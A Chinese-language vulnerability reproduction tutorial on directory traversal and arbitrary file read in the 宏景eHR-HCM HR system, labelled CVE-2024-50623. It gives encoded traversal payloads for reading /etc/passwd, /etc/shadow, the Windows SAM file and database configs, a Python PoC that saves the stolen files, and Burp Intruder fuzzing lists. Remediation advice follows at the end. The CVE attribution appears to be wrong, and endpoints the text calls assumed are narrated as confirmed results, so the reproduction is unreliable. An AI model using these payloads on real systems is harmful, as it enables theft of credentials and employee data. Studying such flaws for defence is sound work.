CVE-2024-50623漏洞复现：宏景eHR-HCM目录遍历与任意文件读取深度剖析

1. 项目概述一次典型的目录遍历漏洞挖掘之旅最近在梳理一些企业级应用的历史安全问题时我又翻出了“宏景eHR-HCM”系统的一个老漏洞。这个漏洞的编号是CVE-2024-50623本质上是一个因路径过滤不严导致的目录遍历与任意文件读取漏洞。虽然它不像“永恒之蓝”那样惊天动地但作为人力资源这类核心业务系统上的问题其潜在风险不容小觑——想象一下薪资单、员工身份证号、绩效考核表这些敏感信息如果被随意读取会引发多大的麻烦。这次我就带大家完整地走一遍这个漏洞的复现与分析过程不仅是为了掌握一个具体的案例更是为了深入理解这类“路径穿越”漏洞的通用挖掘思路、利用技巧以及在实际渗透测试中如何高效地识别和验证它们。无论你是刚入门安全的新手还是想巩固Web漏洞知识的老兵相信这个从原理到实操的完整链条都能给你带来收获。2. 漏洞原理深度剖析路径遍历为何屡禁不止2.1 核心漏洞点未净化的用户输入这个漏洞的核心在于系统在处理文件下载或读取请求时直接使用了客户端传递的文件路径参数并且没有进行有效的规范化处理和权限校验。在宏景eHR-HCM系统的某个接口例如涉及模板文件下载的/templates相关功能中攻击者可以通过构造特殊的路径参数访问到Web应用目录之外的服务端文件。用个生活化的比喻系统本意是让你去公司的“公共文件柜-模板区”对应Web根目录下的/templates文件夹取一份空白表格。这个文件柜有个管理员后端程序你告诉他你要“入职申请表.docx”。正常情况下管理员会走到“模板区”找到这个文件给你。但漏洞在于这个管理员太“听话”了如果你说你要“../../../../etc/passwd”他不会判断这个请求是否合理而是真的会退到文件柜外走出公司大门甚至跑到服务器系统的核心区域去给你找这个根本不存在的“表格”。这就是目录遍历Directory Traversal也叫“路径穿越”。从技术层面看问题通常出现在类似下面的代码逻辑中// 伪代码示例展示问题模式 String filePath request.getParameter(file); // 直接从用户请求中获取文件路径 File file new File(BASE_DIR filePath); // 直接拼接基础目录 // 然后直接读取file并返回给用户...这里的BASE_DIR可能是/opt/tomcat/webapps/ROOT/templates/而用户控制的filePath参数如果传入../../../etc/passwd拼接后就会变成/opt/tomcat/webapps/ROOT/templates/../../../etc/passwd经过操作系统路径解析后实际上就指向了/etc/passwd。2.2 漏洞利用的关键编码与绕过在实际攻击中直接使用../可能被简单的过滤机制拦截。因此攻击者往往会采用多种编码或变形方式进行绕过这也是复现时需要测试的点。常见的绕过方式包括URL编码../可以被编码为%2e%2e%2f或..%2f。双重URL编码对已经编码的字符串再次编码例如%252e%252e%252f%25是%的编码。UTF-8 Unicode编码在某些解析场景下可能有效。使用绝对路径如果系统逻辑是直接拼接且未检查路径是否仍在基础目录内直接传入/etc/passwd也可能成功尽管较少见。使用....//或....\/等变体一些粗糙的过滤逻辑可能只替换一次../。注意现代Web框架和中间件如Spring、Tomcat高版本自身具备一定的防护能力但应用层代码若编写不当依然可能绕过这些防护因此代码审计是关键。2.3 宏景eHR-HCM特定上下文分析根据公开的漏洞情报该漏洞通常存在于与“模板”管理相关的功能模块。HCMHuman Capital Management系统涉及大量报表、文档模板如薪资单、合同、审批表。这些模板文件可能需要被用户预览或下载。攻击者可能通过如下方式触发漏洞请求URL/templates/download?file../../../../etc/passwd请求URL/hcm/templateView?path../../../windows/win.iniWindows服务器POST请求参数在表单提交或JSON body中包含恶意的文件路径参数。漏洞的影响在于攻击者可以读取服务器上的任意文件包括但不限于系统敏感文件/etc/passwd,/etc/shadowLinuxc:\windows\system32\config\SAMWindows用以获取用户哈希。应用配置文件/WEB-INF/web.xml,application.properties,config.ini其中可能包含数据库密码、加密密钥。源码文件.java,.jsp文件便于后续的代码审计发现更深层次的漏洞。业务数据文件其他非数据库存储的敏感文档。3. 复现环境搭建与工具准备3.1 环境搭建思路由于直接测试生产系统是非法且不道德的我们必须搭建一个本地或隔离的测试环境。通常有以下几种方式官方试用版或历史版本寻找宏景eHR-HCM官方提供的试用安装包或已知存在漏洞的旧版本。这是最理想的复现环境。Docker模拟环境如果社区有安全研究者发布了该漏洞的Docker复现环境例如在Vulhub、VulApps等项目中这是最快捷的方式。代码审计与模拟如果无法获取真实环境可以基于公开的漏洞描述在本地创建一个简单的、存在相同逻辑缺陷的Web应用进行原理性复现。这对于理解漏洞本质非常有帮助。本次复现我们假设采用第一种方式即在一个隔离的虚拟机中安装了一个存在漏洞的宏景eHR-HCM版本。我的实操环境操作系统Windows Server 2012 R2 模拟常见企业服务器环境Web中间件Apache Tomcat 8.5数据库MySQL 5.7应用宏景eHR-HCM 某历史版本具体版本号因合规原因隐去攻击机Kali Linux 2024.1 IP: 192.168.1.100靶机Windows Server 2012 IP: 192.168.1.2003.2 必备工具清单工欲善其事必先利其器。以下是复现此类文件读取漏洞的常用工具工具类别工具名称用途说明浏览器与代理Burp Suite Community/Professional核心工具。拦截、重放、修改HTTP请求测试参数。浏览器开发者工具 (F12)快速查看网络请求、定位API接口。漏洞探测浏览器插件 (如 HackBar)快速构造和编码Payload。注意某些环境下插件可能失效Burp是更可靠的选择。dirsearch / gobuster目录扫描寻找可能存在漏洞的端点如/download,/viewFile,/getTemplate等。编码与解码Burp Suite 的 Decoder 模块对Payload进行URL编码、Base64编码等。CyberChef (在线或本地)功能强大的编解码、数据格式转换工具。系统交互curl / wget命令行下发起请求便于脚本化测试。nc (netcat)网络调试简单数据传输。实操心得Burp Suite是绝对的主力。它的Repeater模块允许你对单个请求进行反复修改和重放Intruder模块可以对参数进行模糊测试Fuzzing这对于寻找和验证漏洞点至关重要。社区版对于此类复现已经足够。4. 漏洞发现与手动复现过程4.1 信息收集与端点定位首先我们需要找到可能存在文件读取功能的接口。正常业务流观察登录宏景eHR系统找到“模板管理”、“报表下载”或“文档中心”之类的功能。尝试下载一个正常的模板文件。抓包分析开启Burp Suite代理让浏览器流量经过Burp。在Web界面点击下载一个已知的模板比如“离职证明.docx”。定位关键请求在Burp的Proxy - HTTP history中找到触发下载的那个HTTP请求。它很可能是一个GET请求URL中包含file、fileName、path、url之类的参数。例如你可能会看到GET /templates/download?name离职证明.docx HTTP/1.1或者POST /hcm/fileOperate HTTP/1.1请求体里包含{action:download, filePath:/standard/contract.pdf}我遇到的情况在测试环境中通过抓包发现了一个如下请求GET /templates/preview?filenamesalary_template_2023.xlsx HTTP/1.1 Host: 192.168.1.200:8080 User-Agent: Mozilla/5.0... ...这看起来是一个用于预览模板文件的接口。4.2 初步测试与漏洞验证找到可疑参数后开始进行漏洞测试。发送到Repeater在Burp History中右键点击该请求选择“Send to Repeater”。基础遍历测试修改filename参数尝试经典的目录遍历Payload。将filenamesalary_template_2023.xlsx改为filename../../../windows/win.ini发送请求。观察响应。如果返回403/404可能路径不对或存在基础防护。如果返回200且内容包含[fonts]等win.ini文件特征恭喜漏洞存在如果返回应用错误页面也可能暴露了路径信息。我的第一次测试结果直接使用../../../windows/win.ini服务器返回了“文件不存在”的错误页面但错误信息中未泄露路径。这并不一定意味着漏洞不存在可能是 a) Payload需要更多层../才能跳出Web目录。 b) 系统对../进行了过滤或拦截。 c) Windows路径分隔符问题应使用..\..\..\但在URL中斜杠/是通用的。调整Payload深度与编码增加../层数尝试../../../../../../windows/win.ini。因为Web应用的深度不确定。尝试URL编码在Burp Repeater中选中../../../右键选择“Convert selection” - “URL” - “URL-encode key characters”。这会将其转换为..%2f..%2f..%2f。然后拼接文件名再发送。尝试绝对路径直接测试filename/windows/win.ini或filenamec:\windows\win.ini注意编码冒号和反斜杠。关键突破当我将Payload改为filename..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini并发送后服务器返回了200状态码响应体正是win.ini文件的内容这说明漏洞确实存在并且简单的URL编码就绕过了可能的过滤。4.3 扩大战果读取更多敏感文件验证漏洞存在后就可以系统地读取有价值的信息了。读取Web应用配置文件目标是找到数据库连接密码。Payload:filename..%2f..%2f..%2f..%2f..%2fWEB-INF%2fclasses%2fapplication.properties或者尝试filename..%2f..%2f..%2f..%2f..%2fconf%2fconfig.xml在返回的配置文件中搜索jdbc、password、username等关键词。读取系统文件Linux靶机示例/etc/passwd:filename..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd/etc/shadow(需要root权限但有时Web服务以高权限运行):filename..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow应用日志:filename..%2f..%2f..%2flogs%2fcatalina.out(Tomcat日志)读取源码文件为后续的代码审计做准备。filename..%2f..%2f..%2fWEB-INF%2fsrc%2fcom%2fhongjing%2fcontroller%2fTemplateController.java注意事项在测试过程中务必注意不要对系统造成破坏如删除文件。我们的操作仅限于读取。同时要记录下每一步使用的有效Payload和对应的响应特征这有助于编写漏洞利用脚本或生成报告。5. 自动化探测与利用脚本编写手动复现对于理解漏洞是必要的但在实际渗透测试或批量验证中我们需要自动化工具。这里我用Python编写一个简单的POCProof of Concept脚本。5.1 Python POC脚本详解#!/usr/bin/env python3 宏景eHR-HCM 任意文件读取漏洞 (CVE-2024-50623) POC Author: [你的名字] 仅用于授权安全测试请勿用于非法用途。 import requests import sys import urllib.parse def test_file_read(target_url, vulnerable_param, file_to_read): 测试指定URL和参数是否存在文件读取漏洞。 # 构造恶意Payload对目录遍历部分进行URL编码是一种常见的绕过方式 # 例如将../../../../转换为..%2f..%2f..%2f..%2f traversal ..%2f * 10 # 使用多层确保能跳出Web目录 # 注意文件路径中的斜杠也需要编码 encoded_file file_to_read.replace(/, %2f).replace(\\, %5c) payload traversal encoded_file # 构造请求参数根据实际情况可能是GET参数或POST参数 params {vulnerable_param: payload} headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Accept: */*, } try: print(f[*] 尝试读取文件: {file_to_read}) print(f[*] 使用Payload: {payload}) # 这里假设是GET请求如果是POST使用 requests.post response requests.get(target_url, paramsparams, headersheaders, timeout10, verifyFalse) # 分析响应 if response.status_code 200: # 简单的启发式判断如果响应内容包含常见系统文件特征或不是标准的HTML/JSON错误页 content response.text[:500] # 只看前500字符判断 forbidden_keywords [html, !DOCTYPE, 页面不存在, 404, 错误] if not any(keyword in content.lower() for keyword in forbidden_keywords): print(f[] 漏洞可能存在响应状态码: {response.status_code}) print(f[] 响应长度: {len(response.content)} 字节) print(f[] 响应预览:\n{response.text[:200]}...) # 打印前200字符 # 询问是否保存完整文件 save input([?] 是否保存完整响应到文件(y/n): ).strip().lower() if save y: with open(loot.txt, w, encodingutf-8, errorsignore) as f: f.write(response.text) print([] 文件已保存为 loot.txt) return True else: print(f[-] 请求成功但返回内容可能是错误页面。) else: print(f[-] 请求失败状态码: {response.status_code}) except requests.exceptions.RequestException as e: print(f[-] 请求发生异常: {e}) return False if __name__ __main__: if len(sys.argv) ! 4: print(f用法: {sys.argv[0]} 目标URL 脆弱参数名 要读取的文件路径) print(f示例: {sys.argv[0]} http://192.168.1.200:8080/templates/preview filename ../../../../etc/passwd) sys.exit(1) target sys.argv[1] param sys.argv[2] file_path sys.argv[3] print(f[*] 目标: {target}) print(f[*] 测试参数: {param}) print(f[*] 测试文件: {file_path}) print(- * 50) test_file_read(target, param, file_path)脚本使用说明将上述代码保存为hongjing_file_read.py。安装依赖pip install requests。运行python hongjing_file_read.py http://靶机IP:端口/漏洞路径 参数名 要读取的文件路径例如python hongjing_file_read.py http://192.168.1.200:8080/templates/preview filename ../../../windows/win.ini脚本会尝试发送Payload并根据响应初步判断漏洞是否存在并可选保存读取到的内容。5.2 进阶利用Burp Suite Intruder进行模糊测试如果不知道确切的参数名或者想测试多个可能的端点Burp Intruder的模糊测试Fuzzing功能更强大。定位测试点在Burp Repeater中确定一个正常的请求。发送到Intruder右键 - “Send to Intruder”。设置攻击类型在Intruder的“Positions”标签页通常选择“Sniper”或“Pitchfork”模式。清除所有自动标记然后手动将filename参数的值如sales_template.xlsx标记为Payload位置。配置Payload切换到“Payloads”标签页。Payload Sets选择我们标记的Position。Payload Type选择“Simple list”。Payload Options添加我们的测试字典。这个字典应该包含基础遍历Payload../../../etc/passwd,..%2f..%2f..%2fetc%2fpasswd,../../windows/win.ini深度遍历Payload../../../../../../etc/passwd(多个变体)绝对路径Payload/etc/passwd,c:\windows\win.ini编码变体..%252f..%252f..%252fetc%252fpasswd(双重编码)系统关键文件路径列表。开始攻击点击“Start attack”。Intruder会使用每个Payload替换参数并发起请求。分析结果攻击完成后根据状态码、响应长度、响应内容进行排序和筛选。通常成功读取到文件的请求其响应长度会与其他的明显不同更大并且状态码为200。你可以逐个检查这些可疑响应的具体内容。实操心得在Intruder中配置一个“Grep - Extract”规则非常有用。你可以让它从响应中匹配一些特征字符串如Linux的root:x:Windows的[fonts]或配置文件中常见的password。这样一旦攻击过程中有响应包包含了这些特征Intruder会高亮显示让你能快速定位成功的Payload。6. 漏洞修复与安全加固建议复现漏洞的最终目的是为了修复和防御。针对此类路径遍历漏洞修复方案必须从根源上杜绝不可信输入。6.1 代码层修复方案白名单校验最推荐这是最有效的方法。系统应维护一个允许访问的文件名或文件ID的白名单。// 修复后的伪代码示例 String requestedFileId request.getParameter(fileId); // 用户传递文件ID而非路径 MapString, String allowedFiles new HashMap(); allowedFiles.put(1, standard/contract.pdf); allowedFiles.put(2, templates/salary.xlsx); // ... 从数据库或配置加载白名单 String realFileName allowedFiles.get(requestedFileId); if (realFileName null) { throw new SecurityException(非法文件请求); } File file new File(BASE_DIR realFileName); // 使用内部映射的真实路径规范化与路径校验如果必须接受路径则必须进行严格处理。String userInputPath request.getParameter(file); // 1. 规范化路径消除 ../ 和 ./ Path normalizedPath Paths.get(BASE_DIR).resolve(userInputPath).normalize(); // 2. 检查规范化后的路径是否仍然以安全的基础目录开头 if (!normalizedPath.startsWith(Paths.get(BASE_DIR).toAbsolutePath())) { throw new SecurityException(路径遍历攻击尝试); } File file normalizedPath.toFile();使用安全的API许多现代框架提供了安全的文件读取方法。例如在Spring中可以使用Resource接口和PathMatchingResourcePatternResolver它们在设计上就考虑了路径安全问题。6.2 运维与架构层加固最小权限原则运行Web服务的操作系统用户如tomcat、www-data应仅拥有应用目录的必要读写权限绝不能是root。这样即使漏洞被利用攻击者也无法读取/etc/shadow等关键系统文件。部署Web应用防火墙WAF在应用前端部署WAF可以配置规则拦截包含../、..\、etc/passwd等特征的请求。但这只是一种缓解措施不能替代代码修复。定期安全扫描与代码审计将目录遍历漏洞的检测纳入SAST静态应用安全测试和DAST动态应用安全测试的常规检查项。对老旧系统进行定期的代码安全审计。敏感文件隔离将配置文件、日志文件等敏感信息存储在Web根目录之外或通过环境变量、配置中心管理避免通过文件系统直接访问。6.3 临时缓解措施如果无法立即修改代码可以考虑以下临时方案中间件过滤在Nginx/Apache反向代理层通过规则过滤请求URL中包含特定路径遍历模式的请求。文件系统权限严格限制Web服务用户对操作系统其他目录的读取权限。7. 漏洞复现中的常见问题与排查技巧在复现过程中你可能会遇到各种问题。下面是我总结的一些常见情况及应对方法。问题现象可能原因排查思路与解决方案返回400/403错误1. 中间件如Tomcat默认安全配置拦截。2. 应用层有基础过滤如字符串替换../。1. 尝试URL编码../为..%2f或双重编码。2. 尝试使用..\Windows、....//等变体。3. 减少../的层数可能Web目录较浅。4. 检查Burp中请求的完整格式确保语法正确。返回404错误1. 文件不存在路径不对。2. Payload未能跳出Web目录。1. 确认目标文件在服务器上是否存在及绝对路径。2. 增加../的层数如从5层试到10层。3. 尝试读取一个确定存在的Web应用内文件如/WEB-INF/web.xml来测试Payload是否生效。返回200但内容是错误页面1. 应用捕获异常并返回统一错误页。2. 文件读取逻辑被触发但读取失败。1. 对比读取正常文件和恶意文件时的响应头如Content-Type、Content-Length可能有细微差别。2. 查看错误页面的HTML源码或返回的JSON消息可能隐藏了有用的错误信息如被过滤的路径。漏洞点不在filename参数漏洞参数可能是path、url、filepath等甚至是POST body中的JSON字段。1. 仔细分析所有涉及文件操作的请求。2. 对请求中的所有参数进行Fuzzing测试。3. 关注download、view、show、get、load等关键词对应的接口。只有特定用户角色才能访问漏洞接口可能进行了权限校验。1. 尝试使用已登录的低权限用户会话进行测试。2. 如果未授权可访问那漏洞危害更大。读取文件内容乱码或截断1. 文件是二进制如.class,.jar。2. 响应被Gzip压缩。3. 应用对输出做了处理。1. 在Burp中查看原始响应Raw不要解码。2. 尝试读取文本文件如.txt,.properties,.xml验证漏洞。3. 使用curl命令并添加--raw或-i参数查看原始响应头。我的独家避坑技巧从已知到未知先尝试读取一个Web应用内确定存在的文件比如通过正常功能下载到的文件路径确认你的Payload构造方式和层数是正确的。然后再尝试穿越目录。善用错误信息即使返回错误错误信息里也可能包含路径信息、过滤规则提示如“路径包含非法字符”这些都是调整Payload的线索。保持耐心与记录Fuzzing是一个试错过程。用一个笔记或表格记录下你测试过的Payload、目标URL、参数和响应特征状态码、长度、关键词。这能帮你发现规律避免重复测试。环境差异在Windows和Linux服务器上路径分隔符和敏感文件路径不同。如果你的Payload在一种系统上失败不妨换另一种系统的路径试试。漏洞复现就像一次数字空间的侦探工作需要逻辑推理、耐心测试和对系统行为的细致观察。通过对CVE-2024-50623这个具体案例的深入实践我们不仅掌握了一个漏洞的利用方法更重要的是建立起一套发现和验证此类通用型漏洞的方法论。记住安全测试的唯一合法前提是获得明确授权。希望这篇详尽的记录能帮助你在授权的测试中更好地发现风险从而构建更稳固的防御。